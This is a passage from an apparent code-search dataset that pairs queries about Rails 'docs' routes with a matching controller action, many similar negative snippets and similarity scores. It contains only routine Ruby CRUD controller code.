self.channel_node.base_uri\n end\n @docs = FeedTools::UriHelper.resolve_relative_uri(\n @docs, [channel_base_uri, self.base_uri])\n end\n rescue\n end\n if self.configurations[:url_normalization_enabled]\n @docs = FeedTools::UriHelper.normalize_url(@docs)\n end\n end\n return @docs\n end", "def getToolsDocs( object, format)\n params = Hash.new\n params['object'] = object\n params['format'] = format\n return doCurl(\"get\",\"/tools/docs\",params)\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => \"\" }\n end\n end", "def fetch_feature_docs\n docs=[]\n d = Dir[@source + \"/*.xml\"]\n #puts d.inspect\n\n d.entries.each do |file|\n docs << file\n end\n #puts docs.inspect\n docs\n end", "def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end", "def show\n transform_id if /^nyu_\\d{4}_\\d{5}$/.match(params[:id])\n @response, @document = fetch_document(params[:id])\n\n respond_to do |format|\n format.html { setup_next_and_previous_documents }\n format.json { render json: { response: { document: @document } } }\n additional_export_formats(@document, format)\n end\n end", "def index\n @api_docs_services = api_docs_services.all\n respond_with(@api_docs_services)\n end", "def retrieve \n if !check_auth()\n render text: { \"message\" => \"401 Unauthorized\" }.to_json(), status: :unauthorized\n else\n uri = params[:uri]\n type = params[:type]\n doc = Document.find_by_uri(uri)\n if doc.present?\n case type\n when 'gale'\n render :text => doc.get_corrected_gale_xml()\n when 'text'\n render :text => doc.get_corrected_text()\n when 'tei-a'\n render :text => doc.get_corrected_tei_a(false)\n when 'tei-a-words'\n render :text => doc.get_corrected_tei_a(true)\n when 'original-gale'\n render :text => doc.get_original_gale_xml()\n when 'original-text'\n render :text => doc.get_original_gale_text()\n end\n else\n render text: { \"message\" => \"Document #{uri} not found\" }.to_json(), status: :not_found\n end\n end\n end" ]
[ "0.73454726", "0.6982665", "0.6976493", "0.6911543", "0.6904562", "0.688993", "0.688979", "0.66943115", "0.6685996", "0.6603677", "0.6537543", "0.6513314", "0.6501534", "0.6482451", "0.6468345", "0.6467412", "0.6467293", "0.643264", "0.64263403", "0.641952", "0.641499", "0.641499", "0.6388104", "0.6380997", "0.63796717", "0.6375977", "0.63531965", "0.6311551", "0.62943614", "0.62875056", "0.62822294", "0.6253787", "0.62298787", "0.62166846", "0.6212621", "0.6204867", "0.619189", "0.61501324", "0.6146684", "0.6145363", "0.61352235", "0.61274886", "0.61274886", "0.6122495", "0.6077865", "0.6070857", "0.6070262", "0.6055305", "0.6054343", "0.6044825", "0.60413927", "0.6020911", "0.6010036", "0.6005807", "0.6003694", "0.5998311", "0.59862363", "0.5982473", "0.59794414", "0.59736013", "0.59698415", "0.5965506", "0.595967", "0.5959545", "0.59534204", "0.5951478", "0.5947759", "0.5932597", "0.5895967", "0.58768314", "0.5870382", "0.5868476", "0.5863817", "0.58618945", "0.58607554", "0.583331", "0.58307153", "0.58202726", "0.58117974", "0.57951677", "0.57925284", "0.57826144", "0.57782733", "0.57770044", "0.577142", "0.5769604", "0.57691216", "0.5767447", "0.57620007", "0.5756586", "0.5755723", "0.57498753", "0.5744402", "0.57360053", "0.57318735", "0.5725907", "0.57202435", "0.571884", "0.5712" ]
0.68268925
8
GET /docs/new GET /docs/new.xml
def new @doc = Doc.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @doc } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @tdoc = Tdoc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tdoc }\n end\n end", "def new\n @documentation = Documentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentation }\n end\n end", "def new\n @document = Document.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def new\n @docent = Docent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @docent }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def new\n @document = Document.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @document }\n end\n end", "def new\n @doc = Doc.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @document = Document.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document }\n end\n end", "def new\n @published_document = PublishedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @published_document }\n end\n end", "def new\n @documento = Documento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documento }\n end\n end", "def new\n @document_status = DocumentStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document_status }\n end\n end", "def new\n @testing = Testing.new\n @testing.build_documents\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @testing }\n end\n end", "def new\n @library_doc = LibraryDoc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @library_doc }\n end\n end", "def new\n @document = Document.new\n @annotation = Annotation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def new\n @space = Space.where(:wiki_name => params[:space_id])[0]\n @document = @space.documents.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document.to_json }\n end\n end", "def new\n \tif params[:id]\n \t\t@old_doc = Doc.find(params[:id])\n \t\t@doc = Doc.new({:component => @old_doc.component, :maj_version => (params[:version] == \"major\" ? @old_doc.maj_version + 1 : @old_doc.maj_version ), :min_version => (params[:version] == \"minor\" ? @old_doc.min_version + 1 : @old_doc.min_version), :dev_stage => @old_doc.dev_stage, :url => @old_doc.new_version_url(params[:version]), :contents => @old_doc.contents})\n \telse\n\t @doc = Doc.new\n\t\tend\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doc }\n end\n end", "def new\n @tdoc = Tdoc.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tdoc }\n end\n end", "def new\n \n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n \n end", "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def new\n respond_with( @document = Document.new )\n end", "def new\n @special_document = ModifiedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @special_document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "def new\n @documentoclasificacion = Documentoclasificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentoclasificacion }\n end\n end", "def new\r\n @document = Document.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @document }\r\n end\r\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @news = News.new\n @title = \"New news\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @alfresco = Alfresco.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfresco }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def new\n @noun = Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noun }\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end", "def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end", "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end", "def new\n @documento = @externo.documentos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documento }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @get_started_page }\n end\n end", "def new\n @doc = DocHead.find(params[:doc_id])\n @work_flow_info = WorkFlowInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @work_flow_info }\n end\n end", "def new\n @Roc = Roc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @Roc }\n end\n end", "def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end", "def new\n @normal_example = NormalExample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @normal_example }\n end\n end", "def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end", "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end", "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end", "def new\n @document = Document.new\n end", "def new\n\t\t@doc = Doc.new\n\t\tbegin \n\t\t\t@project = get_project2(params[:project_id])\n\t\trescue => e\n\t\t\tnotice = e.message\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json {render json: @doc.to_hash}\n\t\tend\n\tend", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end", "def new\n @document_page = DocumentPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document_page }\n end\n end", "def new\n @book = Book.new :copies => 1\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end", "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @word }\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @status = Status.new\n @status.build_document\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status }\n end\n end", "def new_doc\n @doc_content = \"\"\n @doc_start_page = nil\n @pages_in_doc = 0\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @topic = Topic.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end", "def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end", "def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n \n end\n end", "def new\n @search_topic = SearchTopic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @search_topic }\n end\n end", "def new\n @page = Page.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end", "def new\n @news_article = NewsArticle.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_article }\n end\n end", "def new\n @book = Book.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end", "def new\n @documento = Documento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @documento }\n end\n end" ]
[ "0.7378266", "0.73517674", "0.73252195", "0.7315229", "0.73115", "0.7302526", "0.7254963", "0.71286243", "0.71275324", "0.70804566", "0.70705295", "0.6963107", "0.69150186", "0.6911079", "0.69071203", "0.6817285", "0.67722136", "0.6767574", "0.6731509", "0.6727882", "0.67265195", "0.6689577", "0.66180706", "0.6614783", "0.66049004", "0.65945554", "0.65945554", "0.65945554", "0.65945554", "0.65945554", "0.65945554", "0.65945554", "0.65945554", "0.65945554", "0.65935415", "0.65922475", "0.65908843", "0.6569584", "0.6569584", "0.655114", "0.655114", "0.655114", "0.65425193", "0.65404165", "0.6538169", "0.65244746", "0.651064", "0.6509012", "0.650806", "0.65014917", "0.64846057", "0.6478983", "0.6464127", "0.6458141", "0.6451255", "0.6427295", "0.6427073", "0.64056206", "0.6403342", "0.64029104", "0.6402179", "0.6401992", "0.63918465", "0.63918465", "0.63918465", "0.6386295", "0.6386295", "0.6386295", "0.6386295", "0.6386295", "0.63844573", "0.63781464", "0.6377495", "0.6376883", "0.6376883", "0.6376883", "0.6376883", "0.6375985", "0.6372457", "0.6369803", "0.6367924", "0.6367083", "0.63585556", "0.63561493", "0.63558483", "0.63558483", "0.63558483", "0.63558483", "0.63558483", "0.63558483", "0.63531053", "0.6343475", "0.6343475", "0.634318", "0.6337591", "0.63370526", "0.6332407", "0.63318646", "0.6328788", "0.6327573" ]
0.76380885
0
POST /docs POST /docs.xml
def create @doc = Doc.new(params[:doc]) respond_to do |format| if @doc.save save_object_relationship format.html { redirect_to(@doc, :notice => 'Doc was successfully created.') } format.xml { render :xml => @doc, :status => :created, :location => @doc } else format.html { render :action => "new" } format.xml { render :xml => @doc.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def create\n @doc = Doc.new(params[:doc])\n\n respond_to do |format|\n if @doc.save\n format.html { redirect_to(@doc, :notice => 'Doc was successfully created.') }\n format.xml { render :xml => @doc, :status => :created, :location => @doc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def request_doc\n \n end", "def post #:doc:\n end", "def create\n @documentation = Documentation.new(params[:documentation])\n\n respond_to do |format|\n if @documentation.save\n flash[:notice] = 'Documentation was successfully created.'\n format.html { redirect_to(@documentation) }\n format.xml { render :xml => @documentation, :status => :created, :location => @documentation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documentation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, doc = nil, options = {})\n execute(uri, :post, options, doc)\n end", "def create\n @docent = Docent.new(params[:docent])\n\n respond_to do |format|\n if @docent.save\n format.html { redirect_to(@docent, :notice => 'Docent was successfully created.') }\n format.xml { render :xml => @docent, :status => :created, :location => @docent }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @docent.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tdoc = Tdoc.new(params[:tdoc])\n\n respond_to do |format|\n if @tdoc.save\n format.html { redirect_to(@tdoc, :notice => 'Tdoc was successfully created.') }\n format.xml { render :xml => @tdoc, :status => :created, :location => @tdoc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tdoc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @docfile = Docfile.new(docfile_params)\n\n respond_to do |format|\n if @docfile.save\n format.html { redirect_to @docfile, notice: \"Docfile was successfully created.\" }\n format.json { render :show, status: :created, location: @docfile }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @docfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, doc = nil, options = {}, &block)\n execute('POST', path, options, doc, &block)\n end", "def create_doc(doc)\n @conn.query({url_path: \"#{database}\", opts: doc, method: :post})\n end", "def create\n @documentation = current_user.documentations.build(documentation_params)\n\n respond_to do |format|\n if @documentation.save\n format.html { redirect_to @documentation, notice: 'Documentation was successfully created.' }\n format.json { render :show, status: :created, location: @documentation }\n else\n format.html { render :new }\n format.json { render json: @documentation.errors, status: :unprocessable_entity }\n end\n end\n end", "def root req, res\n generator = RDoc::Generator::Darkfish.new nil, @options\n\n res.body = generator.generate_servlet_root installed_docs\n\n res.content_type = 'text/html'\n end", "def post( doc, opts = {} )\n response = http_action :post, nil, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(@document, :notice => 'Document was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end", "def create(doc_client,course_name)\n @doc_client=doc_client\n body=<<-EOF\n<?xml version='1.0' encoding='UTF-8'?>\n<entry xmlns=\"http://www.w3.org/2005/Atom\">\n<category scheme=\"http://schemas.google.com/g/2005#kind\"\nterm=\"http://schemas.google.com/docs/2007#spreadsheet\"/>\n<title>#{course_name}</title>\n</entry>\nEOF\n @doc_feed=@doc_client.post('http://docs.google.com/feeds/documents/private/full',body) \n puts @doc_feed\n \n end", "def post\n _root_document\n end", "def create\n @doc = Doc.new(params[:doc])\n\n respond_to do |format|\n if @doc.save\n format.html { redirect_to @doc, notice: \"\\\"#{@doc.component}\\\" was successfully created.\" }\n format.json { render json: @doc, status: :created, location: @doc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doc.errors, status: :unprocessable_entity }\n end\n end\n end", "def doc_params\n params.require(:doc).permit(:name, :content, :folder_id, :owner_id)\n end", "def index\n @docs = Doc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @docs }\n end\n end", "def create\n @tdoc = Tdoc.new(params[:tdoc])\n \n respond_to do |format|\n if @tdoc.save\n format.html { redirect_to @tdoc, notice: 'Tdoc was successfully created.' }\n format.json { render json: @tdoc, status: :created, location: @tdoc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |wants|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n wants.html { redirect_to(@document) }\n wants.xml { render :xml => @document, :status => :created, :location => @document }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n #format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def doc_params\n params.require(:doc).permit(:title, :text, :number, :logs, :signed, :agreed, :resolution, :done, :signer_id, :destination_id, :executor_id, :image, :matcher_ids => [])\n end", "def create\n @client_doc = ClientDoc.new(client_doc_params)\n\n respond_to do |format|\n if @client_doc.save\n format.html { redirect_to @client_doc, notice: 'Client doc was successfully created.' }\n format.json { render :show, status: :created, location: @client_doc }\n else\n format.html { render :new }\n format.json { render json: @client_doc.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @documentation = Documentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentation }\n end\n end", "def documentation_params\n params.require(:documentation).permit(:title, :description, :category)\n end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def document; end", "def create\n @library_doc = LibraryDoc.new(params[:library_doc])\n\n respond_to do |format|\n if @library_doc.save\n flash[:notice] = 'LibraryDoc was successfully created.'\n format.html { redirect_to(@library_doc) }\n format.xml { render :xml => @library_doc, :status => :created, :location => @library_doc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @library_doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @documentations = Documentation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentations }\n end\n end", "def save doc\n if doc['_attachments']\n doc['_attachments'] = encode_attachments(doc['_attachments'])\n end\n if doc['_id']\n slug = CGI.escape(doc['_id'])\n CouchRest.put \"#{@root}/#{slug}\", doc\n else\n CouchRest.post \"#{@root}\", doc\n end\n end", "def documents; end", "def documents; end", "def create\n @gdoc = Gdoc.new(gdoc_params)\n\n respond_to do |format|\n if @gdoc.save\n format.html { redirect_to @gdoc, notice: 'Gdoc was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gdoc }\n else\n format.html { render action: 'new' }\n format.json { render json: @gdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @tdoc = Tdoc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tdoc }\n end\n end", "def postEntityDocument( entity_id, name, filedata)\n params = Hash.new\n params['entity_id'] = entity_id\n params['name'] = name\n params['filedata'] = filedata\n return doCurl(\"post\",\"/entity/document\",params)\n end", "def create\n @docs_ponto = DocsPonto.new(docs_ponto_params)\n\n respond_to do |format|\n if @docs_ponto.save\n format.html { redirect_to @docs_ponto, notice: 'Docs ponto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @docs_ponto }\n else\n format.html { render action: 'new' }\n format.json { render json: @docs_ponto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tucdoc = Tucdoc.new(tucdoc_params)\n\n respond_to do |format|\n if @tucdoc.save\n format.html { redirect_to @tucdoc, notice: 'Tucdoc was successfully created.' }\n format.json { render :show, status: :created, location: @tucdoc }\n else\n format.html { render :new }\n format.json { render json: @tucdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def solr_document_xml( docs )\n solr_xml = \"\"\n xml = Builder::XmlMarkup.new( :target => solr_xml, :indent => 2 )\n \n xml.add {\n docs.each do |doc|\n xml.doc {\n doc.each do |field,field_terms|\n field_terms.each do |term|\n xml.field( term, :name => field )\n end\n end\n }\n end\n }\n \n return solr_xml\n end", "def new\n @docent = Docent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @docent }\n end\n end", "def docs_to_write; end", "def create_doc(doc_records)\n puts \"create_doc Not implemented\"\n end", "def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, :notice => 'Document was successfully created.' }\n format.json { render :json => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(@document, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def docs; end", "def create_doc_with_http_info(doc, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocApi.create_doc ...'\n end\n # verify the required parameter 'doc' is set\n if @api_client.config.client_side_validation && doc.nil?\n fail ArgumentError, \"Missing the required parameter 'doc' when calling DocApi.create_doc\"\n end\n # resource path\n local_var_path = '/docs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', 'application/pdf', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(doc)\n\n # return_type\n return_type = opts[:debug_return_type] || 'String'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"DocApi.create_doc\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocApi#create_doc\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def document_params\n params.require(:document).permit(:title, :doc)\n end", "def write_to(doc);end", "def new_doc\n @doc_content = \"\"\n @doc_start_page = nil\n @pages_in_doc = 0\n end", "def create\n authorize! :create, Document.new, @project\n main = @project.document_mains.create\n rev = main.revisions.create\n document = rev.versions.new(document_params(true))\n if document.save\n send_emails_helper(document)\n render json: document.attributes_for_edit\n 